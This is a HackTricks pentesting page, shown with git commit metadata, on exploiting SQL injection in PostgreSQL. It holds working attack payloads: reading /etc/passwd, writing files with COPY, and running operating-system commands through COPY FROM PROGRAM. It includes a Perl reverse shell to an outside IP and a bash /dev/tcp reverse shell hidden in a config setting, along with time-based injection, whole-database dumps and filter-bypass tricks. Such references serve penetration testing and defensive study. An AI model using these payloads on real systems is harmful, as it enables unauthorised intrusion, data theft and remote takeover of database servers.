hacktricks/pentesting-web/sql-injection/postgresql-injection/README.md
Karim Kanso 6a74294c3b
Remove upper limit of 11.2 as its not correct.
I have confirmed on a fresh install of `PostgreSQL 13.2 on x86_64-alpine-linux-musl, compiled by gcc (Alpine 10.2.1_pre1) 10.2.1 20201203, 64-bit` that it still works.
2021-02-27 16:13:23 +00:00

149 lines
7.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PostgreSQL injection
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)\*\*\*\*
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**`dblink`** is a **PostgreSQL module** that offers several interesting options from the attacker point of view. It can be used to **connect to other PostgreSQL instances** of perform **TCP connections**.
**These functionalities** along with the **`COPY FROM`** functionality can be used to **escalate privileges**, perform **port scanning** or grab **NTLM challenge responses**.
[**You can read here how to perform these attacked.**](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)\*\*\*\*
### **Exfiltration example using dblink and large objects**
You can [**read this example**](dblink-lo_import-data-exfiltration.md) ****to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
## PL/pgSQL password bruteforce
PL/pgSQL, as a **fully featured programming language**, allows much more procedural control than SQL, including the **ability to use loops and other control structures**. SQL statements and triggers can call functions created in the PL/pgSQL language.
**You can abuse this language in order to ask PostgreSQL to brute-force the users credentials.** [**Read this to learn how.**](pl-pgsql-password-bruteforce.md)\*\*\*\*
## File-system actions
### Read directories and files
From this [commit ](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)members of the `DEFAULT_ROLE_READ_SERVER_FILES` group and super users can use these methods on any path \(check out `convert_and_check_filename` in `genfile.c`\).:
```sql
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd' , 0 , 1000000);
```
### Simple File Writing
```bash
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload y**ou need to send a one-liner**.
A very important limitation of this technique is that **`copy` cannot be used to write binary files as it modify some binary values.**
### **Binary files upload**
However, there are **other techniques to upload big binary files**.
[**Read this page to learn how to do it.**](big-binary-files-upload-postgresql.md)\*\*\*\*
## RCE
### **RCE from version 9.3**
Since[ version 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), new functionality for '[COPY TO/FROM PROGRAM](https://paquier.xyz/postgresql-2/postgres-9-3-feature-highlight-copy-tofrom-program/)' was implemented. This allows the database superuser, and any user in the pg\_execute\_server\_program group to run arbitrary operating system commands.
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
Or use the `multi/postgres/postgres_copy_from_program_cmd_exec` module from **metasploit**.
More information about this vulnerability [**here**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). While reported as CVE-2019-9193, Postges declared this was a [feature and will not be fixed](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).
### RCE with PostgreSQL extensions
Once you have **learned** from the previous post **how to upload binary files** you could try obtain **RCE uploading a postgresql extension and loading it**.
[**Lear how to abuse this functionality reading this post.**](rce-with-postgresql-extensions.md)\*\*\*\*
### PostgreSQL configuration file RCE
The **configuration file** of postgresql is **writable** by the **postgres user** which is the one running the database, so as **superuser** you can write files in the filesystem, and therefore you can **overwrite this file.**
![](../../../.gitbook/assets/image%20%28232%29.png)
The configuration file have some interesting attributes that can lead to RCE:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Path to the private key of the database
* `ssl_passphrase_command = ''` If the private file is protected by password \(encrypted\) postgresql will **execute the command indicated in this attribute**.
* `ssl_passphrase_command_supports_reload = off` **If** this attribute is **on** the **command** executed if the key is protected by password **will be executed** when `pg_reload_conf()` is **executed**.
Then, an attacker will need to:
1. **Dump private key** from the server
2. **Encrypt** downloaded private key:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Overwrite**
4. **Dump** the current postgresql **configuration**
5. **Overwrite** the **configuration** with the mentioned attributes configuration:
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. Execute `pg_reload_conf()`
While testing this I noticed that this will only work if the **private key file has privileges 640**, it's **owned by root** and by the **group ssl-cert or postgres** \(so the postgres user can read it\), and is placed in _/var/lib/postgresql/12/main_.
**More** [**information about this technique here**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**
## WAF bypass
### PostgreSQL String functions
Manipulating strings could help you to **bypass WAFs or other restrictions**.
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
### Stacked Queries
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
```text
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### XML tricks
#### query\_to\_xml
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
#### database\_to\_xml
This function will dump the whole database in XML format in just 1 row \(be careful if the database is very big as you may DoS it or even your own client\):
```sql
SELECT database_to_xml(true,true,'');
```
### Forbidden quotes
If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses \(_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_\):
```text
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Or with `$`. This queries return the same results:
```text
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```